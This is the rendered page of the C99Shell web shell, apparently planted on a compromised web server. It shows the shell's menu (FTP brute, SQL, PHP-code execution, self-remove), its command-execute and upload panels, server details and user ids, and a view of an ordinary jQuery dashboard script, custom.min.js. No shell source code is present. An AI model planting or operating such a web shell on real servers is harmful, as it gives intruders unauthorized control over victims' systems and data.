!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/public/js/   drwxr-xr-x
Free 28.95 GB of 117.98 GB (24.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     custom.min.js (12.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";
var screenWidth = $(window).width();

function getUrlParams(dParam) {
    var dPageURL = window.location.search.substring(1),
        dURLVariables = dPageURL.split('&'),
        dParameterName,
        i;

    for (i = 0; i < dURLVariables.length; i++) {
        dParameterName = dURLVariables[i].split('=');

        if (dParameterName[0] === dParam) {
            return dParameterName[1] === undefined ? true : decodeURIComponent(dParameterName[1]);
        }
    }
}


jQuery(window).on("load", function () {
    $('#preloader').fadeOut(500);
    $('#main-wrapper').addClass('show');
    $('select').selectpicker();
});

(function ($) {
    "use strict";

    $("#menu").metisMenu();

    $("#checkAll").change(function () {
        $("td input:checkbox").prop('checked', $(this).prop("checked"));
    });


    $(".nav-control").on('click', function () {

        $('#main-wrapper').toggleClass("menu-toggle");

        $(".hamburger").toggleClass("is-active");
    });

    //to keep the current page active

    for (var nk = window.location,
             o = $("ul#menu a").filter(function () {
                 return this.href == nk;
             })
                 .addClass("mm-active")
                 .parent()
                 .addClass("mm-active"); ;) {
        // console.log(o)
        if (!o.is("li")) break;
        o = o.parent()
            .addClass("mm-show")
            .parent()
            .addClass("mm-active");
    }


    $("ul#menu>li").on('click', function () {
        const sidebarStyle = $('body').attr('data-sidebar-style');
        if (sidebarStyle === 'mini') {
            console.log($(this).find('ul'))
            $(this).find('ul').stop()
        }
    })


    // var win_w = window.outerWidth;
    var win_h = window.outerHeight;
    var win_h = window.outerHeight;
    if (win_h > 0 ? win_h : screen.height) {
        $(".content-body").css("min-height", (win_h + 60) + "px");
    }
    ;


    $('a[data-action="collapse"]').on("click", function (i) {
        i.preventDefault(),
            $(this).closest(".card").find('[data-action="collapse"] i').toggleClass("mdi-arrow-down mdi-arrow-up"),
            $(this).closest(".card").children(".card-body").collapse("toggle");
    });

    $('a[data-action="expand"]').on("click", function (i) {
        i.preventDefault(),
            $(this).closest(".card").find('[data-action="expand"] i').toggleClass("icon-size-actual icon-size-fullscreen"),
            $(this).closest(".card").toggleClass("card-fullscreen");
    });


    $('[data-action="close"]').on("click", function () {
        $(this).closest(".card").removeClass().slideUp("fast");
    });

    $('[data-action="reload"]').on("click", function () {
        var e = $(this);
        e.parents(".card").addClass("card-load"),
            e.parents(".card").append('<div class="card-loader"><i class=" ti-reload rotate-refresh"></div>'),
            setTimeout(function () {
                e.parents(".card").children(".card-loader").remove(),
                    e.parents(".card").removeClass("card-load")
            }, 2000)
    });

    const headerHight = $('.header').innerHeight();

    $(window).scroll(function () {
        if ($('body').attr('data-layout') === "horizontal" && $('body').attr('data-header-position') === "static" && $('body').attr('data-sidebar-position') === "fixed")
            $(this.window).scrollTop() >= headerHight ? $('.deznav').addClass('fixed') : $('.deznav').removeClass('fixed')
    });


    jQuery('.dz-scroll').each(function () {

        var scroolWidgetId = jQuery(this).attr('id');
        const ps = new PerfectScrollbar('#' + scroolWidgetId, {
            wheelSpeed: 2,
            wheelPropagation: true,
            minScrollbarLength: 20
        });
    })

    jQuery('.metismenu > .mm-active ').each(function () {
        if (!jQuery(this).children('ul').length > 0) {
            jQuery(this).addClass('active-no-child');
        }
    });
    if (screenWidth <= 991) {
        jQuery('.menu-tabs .nav-link').on('click', function () {
            if (jQuery(this).hasClass('open')) {
                jQuery(this).removeClass('open');
                jQuery('.fixed-content-box').removeClass('active');
                jQuery('.hamburger').show();
            } else {
                jQuery('.menu-tabs .nav-link').removeClass('open');
                jQuery(this).addClass('open');
                jQuery('.fixed-content-box').addClass('active');
                jQuery('.hamburger').hide();
            }
            //jQuery('.fixed-content-box').toggleClass('active');
        });
        jQuery('.close-fixed-content').on('click', function () {
            jQuery('.fixed-content-box').removeClass('active');
            jQuery('.hamburger').removeClass('is-active');
            jQuery('#main-wrapper').removeClass('menu-toggle');
            jQuery('.hamburger').show();
        });
    }
    jQuery('.bell-link').on('click', function () {
        jQuery('.chatbox').addClass('active');
    });
    jQuery('.chatbox-close').on('click', function () {
        jQuery('.chatbox').removeClass('active');
    });

    const qs = new PerfectScrollbar('.deznav-scroll');
// const sr = new PerfectScrollbar('.sidebar-right-inner');


    //plugin bootstrap minus and plus
    $('.btn-number').on('click', function (e) {
        e.preventDefault();

        fieldName = $(this).attr('data-field');
        type = $(this).attr('data-type');
        var input = $("input[name='" + fieldName + "']");
        var currentVal = parseInt(input.val());
        if (!isNaN(currentVal)) {
            if (type == 'minus')
                input.val(currentVal - 1);
            else if (type == 'plus')
                input.val(currentVal + 1);
        } else {
            input.val(0);
        }
    });

    jQuery('.dz-chat-user-box .dz-chat-user').on('click', function () {
        jQuery('.dz-chat-user-box').addClass('d-none');
        jQuery('.dz-chat-history-box').removeClass('d-none');
    });

    jQuery('.dz-chat-history-back').on('click', function () {
        jQuery('.dz-chat-user-box').removeClass('d-none');
        jQuery('.dz-chat-history-box').addClass('d-none');
    });

    jQuery('.dz-fullscreen').on('click', function () {
        jQuery('.dz-fullscreen').toggleClass('active');
    });


    jQuery('.dz-fullscreen').on('click', function (e) {
        if (document.fullscreenElement || document.webkitFullscreenElement || document.mozFullScreenElement || document.msFullscreenElement) { /* Enter fullscreen */

            if (document.exitFullscreen) {
                document.exitFullscreen();
            } else if (document.msExitFullscreen) {
                document.msExitFullscreen(); /* IE/Edge */
            } else if (document.mozCancelFullScreen) {
                document.mozCancelFullScreen(); /* Firefox */
            } else if (document.webkitExitFullscreen) {
                document.webkitExitFullscreen(); /* Chrome, Safari & Opera */
            }
        } else { /* exit fullscreen */
            if (document.documentElement.requestFullscreen) {
                document.documentElement.requestFullscreen();
            } else if (document.documentElement.webkitRequestFullscreen) {
                document.documentElement.webkitRequestFullscreen();
            } else if (document.documentElement.mozRequestFullScreen) {
                document.documentElement.mozRequestFullScreen();
            } else if (document.documentElement.msRequestFullscreen) {
                document.documentElement.msRequestFullscreen();
            }
        }


    });


    jQuery('.custom-file-input').on('change', function (e) {
        var fileName = e.target.files[0].name;
        $(this).parent().find('.custom-file-label').text(fileName);
    })


    jQuery('#modal-confirm').on('show.bs.modal', function (e) {
        const button = $(e.relatedTarget);
        const message = button.attr('data-message');
        const method = button.attr('data-method') ? button.attr('data-method') : 'post';
        const action = button.attr('data-action');
        const isAjax = button.attr('data-isajax');
        const input = JSON.parse(button.attr('data-input'));
        let div = '';
        $.each(input, function (index, value) {
            div += `<input type="hidden" name=${index} value=${value}>`;
        });

        $('#modal-confirm .modal-body').html(message);
        $('#modal-form').attr('method', method).attr('action', action);
        $('#modal-form #customInput').html(div);
        if (isAjax)
            $('#modal-confirm-btn').attr('type', 'button').addClass('confirm-ajax-submit');
        else
            $('#modal-confirm-btn').attr('type', 'submit');
    });

    jQuery('#delivered_within_modal').on('show.bs.modal', function (e) {
        const button = $(e.relatedTarget);
        const input = JSON.parse(button.attr('data-input'));
        let div = '';
        $.each(input, function (index, value) {
            div += `<input type="hidden" name=${index} value=${value}>`;
        });

        $('#delivered_within_modal_form #deliveredWithinCustomInput').html(div);

        $('#within-modal-confirm-btn').attr('type', 'submit');
    });

    jQuery('a[target^="_new"]').click(function () {
        return openWindow(this.href);
    });

    jQuery('button[type="submit"]').on('click', function (e) {
        var form = $(this).parents('form:first');
        if($(form).attr('id')!='payment-form' && form.valid()){
            $(this).attr('disabled', 'disabled').addClass('disabled')
            $(this).html(' <i class="fa fa-spinner fa-spin"></i> Loading');
            form.submit();
        }

    });
    jQuery('#modal-confirm-btn').on('click', function (e) {
        var form = $(this).parents('form:first');
        if(form.valid()){
            $(this).attr('disabled', 'disabled').addClass('disabled')
            $(this).html(' <i class="fa fa-spinner fa-spin"></i> Loading');
            form.submit();
        }

    });

    jQuery(document).on('click', '.confirm-ajax-submit', function (e) {
        e.preventDefault();
        const form = $('#modal-form');
        $.ajax({
            method: 'post',
            url: form.attr('action'),
            data: form.serialize(),
            success: function (res) {
                $('#modal-confirm').modal('hide');
                if (res.success) {
                    orderDataTable.ajax.reload();

                    toastr.info(res.success, 'Success', {
                        positionClass: "toast-top-right",
                        timeOut: 5e3,
                        closeButton: !0,
                        newestOnTop: !0,
                        progressBar: !0,
                        preventDuplicates: !0,
                        onclick: null,
                        showDuration: "300",
                        hideDuration: "1000",
                        extendedTimeOut: "1000",
                        showEasing: "swing",
                        hideEasing: "linear",
                        showMethod: "fadeIn",
                        hideMethod: "fadeOut",
                        tapToDismiss: !1
                    });
                } else if (res.failed) {
                    toastr.error(res.failed, 'Failed', {timeOut: 5000});
                }
            }
        })
    });

    function openWindow(url) {

        if (window.innerWidth <= 640) {
            // if width is smaller then 640px, create a temporary a elm that will open the link in new tab
            var a = document.createElement('a');
            a.setAttribute("href", url);
            a.setAttribute("target", "_blank");

            var dispatch = document.createEvent("HTMLEvents");
            dispatch.initEvent("click", true, true);

            a.dispatchEvent(dispatch);
        } else {
            var width = 450; //window.innerWidth * 0.66 ;
            // define the height in
            var height = 1200; //width * window.innerHeight / window.innerWidth ;
            // Ratio the hight to the width as the user screen ratio
            window.open(url, 'newwindow', 'width=' + width + ', height=' + height + ', top=' + ((window.innerHeight - height) / 2) + ', left=' + ((window.innerWidth - width) / 2));
        }
        return false;
    }


})(jQuery);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--